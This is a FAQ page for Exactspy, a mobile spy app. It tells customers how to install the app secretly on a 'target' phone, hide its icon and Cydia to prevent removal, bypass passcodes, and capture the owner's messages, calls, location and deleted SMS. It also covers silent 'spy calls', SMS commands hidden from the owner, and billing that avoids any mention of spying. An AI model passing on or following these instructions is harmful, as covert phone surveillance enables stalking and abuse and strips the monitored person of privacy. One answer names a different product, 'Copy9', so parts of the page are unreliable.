FAQs -



GPS Tracking Location

You can see location of device on the map or can get its GPS location immediately from user control panel.

Call Log And Record

You can track all history of calls including time, duration, contact name… and record each call for you.

Track Messages

Trace messages of built-in application and trace iMessage (on iOS) even it was deleted by target users.

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View Multimedia

Enables you to see any data such as video recorded, photo… have been saved on the target phone.

Instant Messengers

You can track social networking apps such as Whatsapp, Viber, Yahoo Messenger, Facebook, Skype…

Browser History

Track the history of websites visited from devices. Block what websites you do not want target users to visit.

1/ What Blackberry products and models are supported?

Exactspy does not support Blackberry smartphones yet..

2/ If there is a passcode on the device can you help me to by pass it?

Sorry, we cannot help you with this problem but there are some ways to bypass passcode. If after installing the app, the device ask passcode you can bypass with default passcode 1234. Or ask support team they will help you to bypass the passcode in Apple devices..

3/ How to download and use Exactspy on my phone?

You can follow instruction step by step in documents in this link: http://exactspy.com/download-center to download and install Exactspy into target device. Choose the suitable version for the operating system of your target phone. You can download the user guide document to learn how to use Exactspy on these link also..

4/ Can I read the captured data directly from the device manually, by email account?,…

Yes. For now you can view recorded data on your Exactspy online account at website or on your predefined email account (the data will send directly to your email account in stead of website..

5/ How does Exactspy work?

* Customer sign up an account on website www.exactspy.com > downloads software to the target phone to be monitored > install software to target phone > open Exactspy interface on target device and log in with Exactspy account created before. * Phone user performs SMS messages, URL browsing and call activities. Exactspy records the activities and then silently uploads logs to the Exactspy servers. * Customers go to website www.exactspy.com and log in into their online account with email and password used to sign up before from any Internet connected PC. Here they can view all recorded activities in near real time and configures program according to their monitoring needs..

6/ How much data can be stored on the phone / in the web account?

All recorded data are enscripted and stored on your online account for 15 days, all data over 15 days will be deleted automatically. Therefore, don’t forget to export your data to CSV report and download to your PC to back up regularly. It is our policy because we do not want to keep your sensitive and important data..

7/ What languages can Exactspy Support?

For now, we support near 20 languages..

8/ Can I install it using one SIM, but then give the phone to someone who uses another SIM? / Can I change SIM cards?

Yes, off course. It will not effect Exactspy app operation..

9/ What is monitor number?

Monitor number is the number you will use to control target device via SMS commands and to make Auto answer (spy call). Monitor number is not target phone number (number used in phone which Exactspy is installed)..

10/ I should insert monitor number in which format?

Enter the phone number that will control the target phone with SMS commands (Example: if the number is +1-877-123-4567, enter 18771234567)..

11/ Sometimes I can’t see new data GPS, SMS on my online account. What’s happen?

You should check again if the target phone has internet connection. Exactspy use internet connection to send recorded data to server. If Exactspy can not send data to server due to no internet connection, it will save recorded data to temporary files on target phone and wait to send them again when internet connection is available. Therefore, if your target phone have internet connection only in some periods a day, sometimes you may feel new data updated slowly or lost..

12/ How to hide Exactspy icon in iDevice (iPhone, iPad, iPod Touch) springboard and Cydia?

If you want to hide the icon of Exactspy and Cydia application from springboard, tap on phone icon to do a calling, tape the default password #1234* or #123456* and tap the green button Call. In case you want to change the default code, you can adjust it on user control panel website my.exactspy.com. You can hide also the icon Cydia on springboard to don’t let the user uninstall the application Exactspy. After that you will see the icons of application Exactspy disappear from your springboard..

13/ How to activate Exactspy features without touching the target phone?

You can do this via website http://my.exactspy.com or use SMS commands. On website, login to your account > open page Cell info > adjust Exactspy parameters like you want > Save. The new settings will be applied to Exactspy on target phone in the next sync. With SMS commands: you need to set a monitor number first, then use this monitor number to send SMS commands to target phone number. Based on your need, you can choose suitable command in List of SMS remote control commands part of user guide document…
14/ What is Sim change notification?

With Exactspy version lower 1.2, this option is request target phone send an SMS to monitor number with information about target phone and Exactspy app settings used on target phone. You will know the current phone number used on target phone also. With Exactspy version 1.2 and higher, this option is request Exactspy alert monitor via SMS message every time SIM card using on target phone be changed..

15/ How to upgrade Exactspy for iOS iDevice (iPhone, iPad, iPod Touch) to newer version manually?

Step 1: Uninstall old version. If you choose hide Cydia before, dial secret key (if you haven’t changed it before, the default secret key would be #1234*) to show icon Cydia again. In Cydia, tap Manage > Packages tab Exactspy > Modify > Uninstall. Or you can uninstall the application remotely by using monitor number to send SMS command <*#93> to target phone number. Step 2: Remove old source Exactspy in Cydia. Open Cydia > Manage > Sources > Edit> tab Exactspy > Delete > Wait for process finish. Step 3: Add new source and install Exactspy new version. Repeat all steps in User Guide document to add new source and install Exactspy new version: http://exactspy.com/download-center After you finish installing process, don’t forget to reboot the target iDevice (iPhone, iPad, iPod Touch) then log in to your account on Exactspy interface..

16/ What will show in my bill statement after making payment?

It does not show any things related ‘spying’ or ‘Exactspy′. The text will be showed in credit card statements depends on where you are because the payment will paid directly to our distributor/resellers. Of course I do not write here. ;).

17/ I made payment already but license days are not added to my account license. What’s happen?

Sometimes Paypal needs 1 to 4 hours to verify a transaction before sending information to us. After receiving information from Paypal, license days will be added to your account license. Therefore, when this happens, the process adding license day to your account license may be delayed 1-4 hours. If you meet this case, don’t hesitate to contact our support team for help..

18/ I don’t have a credit card. Can I pay by Bank Transfer?

Yes you can..

19/ What else can I do in my web account?

Besides reviewing recorded data, you can adjust how Exactspy work from your Exactspy web account, download and back up recorded data with CSV format….

20/ Have new data be sent to server if my account is expired?

No. If your account is expired, features which need fee (SMS, Call…) will stop sending data to server while free features (GPS, Auto Answer) still work normally..

21/ If I remove my Exactspy account by accident, can it be restored? Will account license be lost? All data recorded in my account be lost?

After you choose to remove your account, it will be deactivated and will be deleted from our user registration database in 90 days later. So if you remove your account by accident, please contact our support team as soon as possible. We will help you to restored your account include license and data..

22/ Can I use Exactspy in 2 target phone with 1 account?

Yes. Now you can use Exactspy in 3 devices for each account. If you need use more than 3 devices, please contact with our support team..

23/ I want to transfer my device to new account. Will recorded data from me device be lost or be transferred to new account with my device?

No. Your recorded data will not be lost. All recorded data will be transferred to new account with your device. To transfer your device to new account, just open Exactspy interface on target phone then log in with new account. Your device with all recorded data will be transfered to new account..

24/ How to purchase a Exactspy package?

Now we purchase Exactspy with 18 methods including paypal, master card… You can login with your account at my.exactspy.com and go to License and click Renew button to purchase or extend your license; or you can purchase directly at http://exactspy.com/buynow/.

25/ There is no data in SMS, Call… logs of my Exactspy online account. What’s wrong?

Please check to make sure target phone can connect internet. Exactspy use internet connection to send recorded data to server, so if target phone doesnot have internet connection, there will be no data sent to your account..

26/ Can the target phone hear me when I make a spy call?

No. If target user touch target phone (unlock screen to use), the Auto Answer call will be stopped immediately..

27/ Are deleted SMS still captured?

All SMS sent/received on target will be recorded even if target phone user try to delete it immediately after sending/receiving..

28/ How do I review the SMS, Call Logs and Location Tracking information?

Login to your account at http://my.exactspy.com/ to see all your captured information. From your account you can read the individual events (click on any event to open it), or you can download a spreadsheet with all events..

29/ Do SMS commands appear in SMS history of target phone?

No. When target phone receive SMS command, Exactspy will hide these SMS immediately..

30/ Does target phone have to have internet connection 24/24?

The target phone doesn’t have to have internet connection 24/24. But at least it should have internet connection sometimes a day so Exactspy can send recorded data to server..

31/ Can I install Exactspy remotely?

No.You need to have the device physically in your hand for about 5 minutes. Installation is simple. You simply open up a web page on the mobile and enter your code to download. The install begins automatically and setting the options is simple. You can also change the settings and control some aspects of the device itself, with secret remote SMS commands, or with user control panel website at http://my.exactspy.com . Note about iDevice (iPhone, iPad, iPod Touch): iDevice (iPhone, iPad, iPod Touch) installs are not downloaded this way, but installed through the Cydia utility on an already jailbroken iDevice (iPhone, iPad, iPod Touch)..

32/ How can I tell if Exactspy is on my phone?

Exactspy is not a virus and must be deliberately installed onto the Target device directly, with a unique set of steps and configurations. It will not perform any functions that were not configured by human intervention. However, it does not install any visible program menus, folders or icons (iDevice (iPhone, iPad, iPod Touch) version can choose to Hide/Unhide the icon for access). Once installed, it may only be accessed or uninstalled by equally deliberate human intervention. You should not let anyone that you do not trust access your device..

33/ How do I install Exactspy?

You can follow instruction step by step in documents in this link: http://exactspy.com/user/download.aspx to download and install Exactspy into target phone. Choose the suitable version for the operating system of your target phone..

34/ After I installed Exactspy, how long do I have to wait to review recorded data?

You have to wait at least 15 minutes to review first recorded data in condition target phone has internet connection always. If target phone only have internet connection some times, you may have to wait longer..

35/ Can I remove Exactspy remotely?

For now, only Exactspy version for iOS iDevice (iPhone, iPad, iPod Touch) supports remote ninstalling feature. To do this, you need to set a monitor number then use that monitor number to send SMS command <*#93> to target phone number (phone which Exactspy is installed). Monitor number is not target phone number. Email and password are email and password of your Exactspy account..

36/ What phones does Exactspy work on?

Now Exactspy compatible with: iDevice (iPhone 2G/3G/3GS/4/4S/5/5S, iPad, iPod Touch) Android(1.5/ 1.6/ 2.0/ 2.1/ 2.2/ 2.3/ 3.X / 4.X / 5.X).

37/ What is Jailbreaking & Why do I need it?

The application Exactspy needs to run silently in the background. It’s necessary to jailbreak your iDevice (iPhone, iPad, iPod Touch) so you can run the silent application in the background. Jailbreaking your phone install automatic Cydia. There is no cost to jailbreaking your iDevice (iPhone, iPad, iPod Touch) and it is completely reversible if the need should ever arise. How to Jailbreak your iDevice (iPhone, iPad, iPod Touch). You can decide on which method you want to use. Again, we DO NOT provide support or instructions on how to jailbreak your iDevice (iPhone, iPad, iPod Touch). The best reference websites for jailbreaking an iDevice (iPhone, iPad, iPod Touch) are www.jailbreakmatrix.com and www.redmondpie.com…

38/ How to uninstall the application from target phone?

You can learn how to uninstall the application in target phone by follow instruction in User guide documents. Go to this link http://exactspy.com/user/download.aspx > choose the suitable version for the operating system of your target phone > download user guide document and review for more detail..

39/ What if the target device does not have internet connection?

In most cases you will need Internet access on the target device to utilize all functions and keep a reliable reporting schedule, but depending on what you need the software to do and what model Target phone you have, there may be a few other options. iDevice (iPhone, iPad, iPod Touch) will generally default to a WiFi connection whenever available. The WiFi connection would need to provide a TCP/IP connection to the Internet, and could then be used for everything the GPRS cell connection is normally used for, but only when the WiFi is available. Windows Mobile may be configured to use WiFi when available, through the Connections Manager (on WiFi capable devices). This may work differently between various models and we cannot provide support for setting it up. You will need to consult either the phone’s manual or customer service to see if this is possible with your device. Other than this, if your Target is a GSM phone that takes a SIM card, you can always use a SIM card with Internet access (even a cheap prepaid SIM) just to get the software installed and setup, and then swap it out with the Target’s own SIM card later. All non-Internet functions will still be active then (SpyCall, etc.), but without Internet it will not be able to report any data (SMS, Call Logs, Email, Location) you may be capturing..

40/ Why does the target device need Internet?

You need internet service to initially download the software directly into the target device itself. Copy9 also uses the Internet connection to send all captured data to your included web account for review. This is all the SMS, Call Logs, Photo, keylogger, Notes, Social networking messages, or Location information you are tracking on the target device..

41/ Have data recorded during period when target phone has no internet connection been lost?

No. When target phone doesnot have internet connection, Exactspy still records data but can not send data to server. Exactspy will save all recorded data in temporary files on target phone and wait to try to send again when the target phone has internet connection. Therefore, recorded data will not be lost. But you have to wait until target phone has internet connection to review new data..
Mobile Spy App For Android and iPhone ExactSpy